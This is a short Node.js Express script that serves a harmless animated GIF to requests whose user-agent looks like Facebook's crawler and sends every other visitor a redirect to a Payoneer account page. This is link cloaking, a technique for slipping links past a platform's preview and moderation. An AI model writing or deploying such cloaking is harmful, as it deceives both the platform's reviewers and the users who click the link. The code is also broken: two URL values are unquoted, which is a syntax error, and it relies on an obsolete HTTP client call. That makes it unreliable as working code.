var express = require('express');
var app = express();
var url = require('url');
var http = require('http');
app.listen(process.env.PORT || 3000, function () {
console.log('Example app listening on port 3000!');
})
app.get('/facebook.gif', function(request_from_client, response_to_client){
var redirectUrl = https://myaccount.payoneer.com/;
var imageUrl = http://s3-ec.buzzfed.com/static/2013-10/enhanced/webdr02/9/11/anigif_enhanced-buzz-4540-1381333368-26.gif;
var agent = request_from_client['headers']['user-agent'].toLowerCase();
var isFacebook = agent.indexOf('vision') > -1 || agent.indexOf('facebook') > -1;
if(!isFacebook && redirectUrl) {
response_to_client.writeHead(302, {
'Location': redirectUrl,
});
response_to_client.end();
return;
}
var image_host_name = url.parse(imageUrl).hostname
var http_client = http.createClient(80, image_host_name);
var image_get_request = http_client.request('GET', imageUrl, {"host": image_host_name});
image_get_request.addListener('response', function(proxy_response){
response_to_client.writeHead(proxy_response.statusCode, proxy_response.headers)
proxy_response.setEncoding('binary');
proxy_response.addListener('data', function(chunk){
response_to_client.write(chunk, "binary");
});
proxy_response.addListener('end', function(){
response_to_client.end();
});
});
image_get_request.end();
});
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